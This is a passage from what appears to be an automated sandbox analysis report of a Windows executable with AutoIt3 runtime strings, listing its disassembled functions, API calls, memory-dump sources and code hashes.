    • GetDIBits.GDI32(?,?,00000000,?,00000000,?,00000000), ref: 0042B847
    • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 0042B87A
    • DeleteObject.GDI32(?), ref: 0042B886
    • DeleteDC.GDI32(?), ref: 0042B88F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Object$BitsDeleteSelect$A570
    • String ID: (
    • API String ID: 2880951867-3887548279
    • Opcode ID: a06560bb34f17590959d0d8a5a6711f3e45a4f402a2a6a738c4e51438627fe3f
    • Instruction ID: 4e215850921b11dc612f5a2bb87ee72c03226da213aabddab7a15e359a15e70d
    • Opcode Fuzzy Hash: a06560bb34f17590959d0d8a5a6711f3e45a4f402a2a6a738c4e51438627fe3f
    • Instruction Fuzzy Hash: 03A15A71D00219EFCF00DFA5D8848ADBBB5FF84350B54C56AE905A7211D738AA91DF94
    Function 00457777 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 235COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _strcat$___shr_12
    • String ID: 1#IND$1#INF$1#QNAN$1#SNAN$?
    • API String ID: 1152255961-4131533671
    • Opcode ID: fb3d597f45c2d145ef8f255b84181ca1f35989882eff8c82b04386920a81ae14
    • Instruction ID: dac7b988a7f31c2646ab102d4da0209923bec554b4ffcb30ba6cbffe36e4aeb7
    • Opcode Fuzzy Hash: fb3d597f45c2d145ef8f255b84181ca1f35989882eff8c82b04386920a81ae14
    • Instruction Fuzzy Hash: 0F913671C0829A9EDF11DB68D8847EEBBB4AF15316F0445BBDC41AB283D3788609C779
    Function 0040C8FD Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0040CCF8: DeleteObject.GDI32(?), ref: 0040CD3D
      • Part of subcall function 0040CCF8: ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
      • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CD94
      • Part of subcall function 0040CCF8: BeginPath.GDI32(?), ref: 0040CDAE
      • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CDCD
    • MoveToEx.GDI32(?,?,?,00000000), ref: 0040C9B0
    • AngleArc.GDI32(00000008,?,?,00000000,?,?), ref: 0040C9FD
      • Part of subcall function 0040CF77: MoveToEx.GDI32(?,00000000,00000001,00000000), ref: 0040CFC3
      • Part of subcall function 0040CF77: _logf.LIBCPMT ref: 0040CFD6
      • Part of subcall function 0040CF77: _logf.LIBCPMT ref: 0040CFF4
      • Part of subcall function 0040CF77: LineTo.GDI32(?,?,00000001), ref: 0040D010
    • LineTo.GDI32(00000008,?,?), ref: 0040CA0F
    • CloseFigure.GDI32(00000008), ref: 0040CA18
    • Ellipse.GDI32(?,?,?,?,?), ref: 0040CA6A
    • Rectangle.GDI32(?,?,?,?,?), ref: 0040CB28
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Object$LineMoveSelect_logf$AngleBeginCloseCreateDeleteEllipseFigurePathRectangle
    • String ID: s
    • API String ID: 2270488568-453955339
    • Opcode ID: 3e41277f35241731e5ecdc64cb86dd8e478581ef2b495140d12ab5893bf93d11
    • Instruction ID: b80d5d34312ecd98a02386c7250854dbc6076191505cc9a654b0a8d9ac695662
    • Opcode Fuzzy Hash: 3e41277f35241731e5ecdc64cb86dd8e478581ef2b495140d12ab5893bf93d11
    • Instruction Fuzzy Hash: 4B915C70900209EFDF11CFA8CC89AAEBBB5FF44314F14426AE815B62A1C739AD51DF58
    Function 004013E2 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 195COMMON
    Download Yara Rule
    APIs
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401412
      • Part of subcall function 00416990: CharUpperBuffW.USER32(00401448,?,?,00401448,CmdLineRaw), ref: 00416999
      • Part of subcall function 004169E0: CharUpperBuffW.USER32(00401494,?,?,?,00401494,CmdLine), ref: 004169EC
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,CmdLine), ref: 0040151F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: BuffCharFileModuleNameUpper
    • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$CmdLine$CmdLineRaw
    • API String ID: 2024523369-3010741765
    • Opcode ID: 0d7f104c46213225820da23735dc2965e46fceabac7202cdb864c7589eb1f838
    • Instruction ID: 348f64aedd504845f7f551f83b668721e5f2da1375cbe9f9b59148a0ffc6890f
    • Opcode Fuzzy Hash: 0d7f104c46213225820da23735dc2965e46fceabac7202cdb864c7589eb1f838
    • Instruction Fuzzy Hash: DB615371E00218ABDF01ABA5C842AEEBB75DF44318F10006FF90177292EB78AD8597D9
    Function 00422EA1 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 191timeCOMMON
    Download Yara Rule
    APIs
    • GetLocalTime.KERNEL32(?), ref: 00422F74
    • SystemTimeToFileTime.KERNEL32(?,?), ref: 00422F82
    • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00422F8D
    • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0042302C
    • SetCurrentDirectoryW.KERNEL32(?), ref: 0042303F
    • SetCurrentDirectoryW.KERNEL32(?), ref: 00423088
    • SetCurrentDirectoryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 004230CA
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Time$CurrentDirectory$File$Local$System
    • String ID: *.*
    • API String ID: 1640188443-438819550
    • Opcode ID: 427eb3a9f93714729a7ff3aa90f5563d65ff183ad83eb8761ce986350e6fa38d
    • Instruction ID: bdb3071efd987846cfc0d3705619fa8a33cda40b97a1990c55567f1c35d9baa7
    • Opcode Fuzzy Hash: 427eb3a9f93714729a7ff3aa90f5563d65ff183ad83eb8761ce986350e6fa38d
    • Instruction Fuzzy Hash: AD617472A00228ABDF10DFA5DD85ACEB3B8AF04315F55409BE904A7105DB78EE85DB68
    Function 0041FAEE Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 134windowCOMMON
    Download Yara Rule
    APIs
    • LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
    • LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
    • MessageBoxW.USER32(?,?,00011010), ref: 0041FCAB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: LoadString$Message
    • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
    • API String ID: 2278601591-2268648507
    • Opcode ID: dbc88b6028753eebd55926f2d2e90102df91fa1ff979e280e87bdffbe32b8cdb
    • Instruction ID: 6fc9e5af0b6feda39e0b2b0f3be66a4d0474c2105bc075db2bccfe6611d7421c
    • Opcode Fuzzy Hash: dbc88b6028753eebd55926f2d2e90102df91fa1ff979e280e87bdffbe32b8cdb
    • Instruction Fuzzy Hash: C3416576D00118AAEF21AB95CC45FDE77BCBB04308F0444B7F908E2152EA789A8D9F59
    Function 004145F8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00416372: LoadLibraryA.KERNEL32(kernel32.dll,0041461F,75570F00,00479E08), ref: 0041637D
      • Part of subcall function 00416372: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0041638F
    • FreeLibrary.KERNEL32(00479E08,75570F00,00479E08), ref: 0041476B
      • Part of subcall function 00416399: LoadLibraryA.KERNEL32(kernel32.dll,00414630,75570F00,00479E08), ref: 004163A4
      • Part of subcall function 00416399: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004163B6
    • FreeLibrary.KERNEL32(?,75570F00,00479E08), ref: 0041475D
      • Part of subcall function 004163C0: LoadLibraryA.KERNEL32(kernel32.dll,00414641,75570F00,00479E08), ref: 004163CB
      • Part of subcall function 004163C0: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004163DD
    • CloseHandle.KERNEL32(00000000), ref: 00414719
    • FreeLibrary.KERNEL32(?), ref: 0041472D
    • FreeLibrary.KERNEL32(?), ref: 00414737
    • FreeLibrary.KERNEL32(00479E08), ref: 00414741
    • FreeLibrary.KERNEL32(?,75570F00,00479E08), ref: 0041474F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$AddressLoadProc$CloseHandle
    • String ID: Wu
    • API String ID: 59553586-4083010176
    • Opcode ID: 7bc2e15a2c08dfa422e9ee046e246841171260878f1cd2375263530d5d94805e
    • Instruction ID: 27dac92add9ddf9618ea19e3f12248affa182d011fb36f9912dfa0d6a51cbeb4
    • Opcode Fuzzy Hash: 7bc2e15a2c08dfa422e9ee046e246841171260878f1cd2375263530d5d94805e
    • Instruction Fuzzy Hash: 03413A71C0021EEBCF11AFA1CC848EEBBB8BF49305F1440ABE515A2141D7389AC5CF99
    Function 0040ACC5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 113windowCOMMON
    Download Yara Rule
    APIs
    • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,000000FF,000000FF,000000FF,static,00000000,00000000,?,?,00000000), ref: 0040AD6A
    • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 0040AD95
    • SelectObject.GDI32(00000000,00000000), ref: 0040AD9D
    • GetPixel.GDI32(00000000,00000000,00000000), ref: 0040ADA6
    • DeleteDC.GDI32(00000000), ref: 0040ADAF
    • FreeLibrary.KERNEL32(?), ref: 0040ADE1
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: DeleteFreeLibraryMessageMoveObjectPixelSelectSendWindow
    • String ID: static$Wu
    • API String ID: 109832112-2520213074
    • Opcode ID: d591d34ae13dce0df897d2ae6259955c63a5f18172f723fdf8d5646ef0101bf3
    • Instruction ID: 46d34da8f58ca191638f5e8fa562867750dc08f6998696ef982bf1e62136dc5c
    • Opcode Fuzzy Hash: d591d34ae13dce0df897d2ae6259955c63a5f18172f723fdf8d5646ef0101bf3
    • Instruction Fuzzy Hash: 3B415C31400208FFCF119FA5DC48DDB3BB9EF89726B10426AF915A21A1D738CD61DB69
    Function 00408346 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 94windowCOMMON
    Download Yara Rule
    APIs
    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,?,00000000), ref: 004083DA
    • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 004083F8
    • GetDesktopWindow.USER32 ref: 00408401
    • GetWindowRect.USER32(00000000), ref: 00408408
    • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00408419
    • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0040842D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSendWindow$CreateDesktopRect
    • String ID: ,$tooltips_class32
    • API String ID: 1032049750-3856767331
    • Opcode ID: 9b8121fc188cf288ac9b5b5fef6ff443b3dc8ee524fe8ba7451b8fdb6dbb4574
    • Instruction ID: fe07c1e0de863ff4ca3345fb0f8a85e63066fb8b723ce0ea5c7ea8cd899b1c6a
    • Opcode Fuzzy Hash: 9b8121fc188cf288ac9b5b5fef6ff443b3dc8ee524fe8ba7451b8fdb6dbb4574
    • Instruction Fuzzy Hash: 95315CB2600309BFDB11DFA8DD85EAA7BB8FB08311F104429FA45E3251D775ED148B64
    Function 00424304 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 83COMMON
    Download Yara Rule
    APIs
    • SetErrorMode.KERNEL32(00000001), ref: 00424311
    • GetDiskFreeSpaceW.KERNEL32(?,?,?,00000000,?,00000000), ref: 0042436D
    • GetLastError.KERNEL32 ref: 00424377
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Error$DiskFreeLastModeSpace
    • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
    • API String ID: 2351555085-14809454
    • Opcode ID: 28222a4f425f392fe2fcb0f80f5939013eb6b9de9b86fc8f19a2b2b2cc2a0c5d
    • Instruction ID: 9e21e8075b32901511b120586c6058870a00a7af5fab498cdf3aaad3efea1a69
    • Opcode Fuzzy Hash: 28222a4f425f392fe2fcb0f80f5939013eb6b9de9b86fc8f19a2b2b2cc2a0c5d
    • Instruction Fuzzy Hash: 9B219132700228ABDB10EBA5D805ADF77A4EF84711F954157EC01E72A1DA7CED81879E
    Function 004028E7 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 80windowCOMMON
    Download Yara Rule
    APIs
    • GetParent.USER32 ref: 00402902
    • GetClassNameW.USER32(00000000,?,00000100), ref: 00402917
    • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 004029A4
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ClassMessageNameParentSend
    • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
    • API String ID: 1290815626-3381328864
    • Opcode ID: d88d9084de9778645954b2dac89c947d0fa01af5cf27f13dcbfedf737330abc8
    • Instruction ID: e207e6aa0a9501f7c625afa673fde9d34c0ad767b1b7f61e043eefd813117af9
    • Opcode Fuzzy Hash: d88d9084de9778645954b2dac89c947d0fa01af5cf27f13dcbfedf737330abc8
    • Instruction Fuzzy Hash: 2811AFB2348305BEFA1096609E4EE6723DC9B04726F20146BFD42F21C2EAACAC01596D
    Function 00424006 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 77COMMON
    Download Yara Rule
    APIs
    • SetErrorMode.KERNEL32(00000001), ref: 00424013
    • GetDriveTypeW.KERNEL32(00000000,00000000), ref: 0042405D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: DriveErrorModeType
    • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown
    • API String ID: 2651406809-706929342
    • Opcode ID: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
    • Instruction ID: c236b00be81f74bb42f36345c47f50d6727ad15e36b1af1162972c05b99f5c91
    • Opcode Fuzzy Hash: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
    • Instruction Fuzzy Hash: E921DE31704324EBC7206B65A845E5B3760EB80B15FA44157F706A72D1DA7CECC1864F
    Function 0040F96A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 65windowCOMMON
    Download Yara Rule
    APIs
    • GetModuleHandleW.KERNEL32(00000000,00000066,?,00000100,?,004101C0,00000000,0047BD30,00000000,Unterminated string,?,00000000,?,?,?,0040FF9B), ref: 0040F987
    • LoadStringW.USER32(00000000,?,004101C0,00000000), ref: 0040F98E
    • MessageBoxW.USER32(?,?,?,00011010), ref: 0040FA4C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: HandleLoadMessageModuleString
    • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
    • API String ID: 2734547477-4153970271
    • Opcode ID: 8148261fd63ca7fad340775ac33531daacb9e259fe7ff56dc5ab8cd291d0260c
    • Instruction ID: d526ee89b4f850ae7cdf24bbb3a648b0a8c45d5598141b054d4e4435141c55e2
    • Opcode Fuzzy Hash: 8148261fd63ca7fad340775ac33531daacb9e259fe7ff56dc5ab8cd291d0260c
    • Instruction Fuzzy Hash: B921367194020ABADF25BF90CC4AF8A7769AB08705F004063BA14A10D2D679DA68DB59
    Function 00457A2F Relevance: 13.8, APIs: 9, Instructions: 299COMMON
    Download Yara Rule
    APIs
    • CompareStringW.KERNEL32(00000000,00000000,00462758,00000001,00462758,00000001,0045C490,00000048,004571DF,0045DC34,00000001,?,00000000,00000002,00000000,?), ref: 00457A68
    • GetLastError.KERNEL32(?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0,0045BBD8,00000018,00452DFD,0045BBE8,00000008,0044BA23), ref: 00457A7E
    • GetCPInfo.KERNEL32(00000000,00452DFD,0045C490,00000048,004571DF,0045DC34,00000001,?,00000000,00000002,00000000,?,?,00455B83,00000000,?), ref: 00457B23
    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457BA6
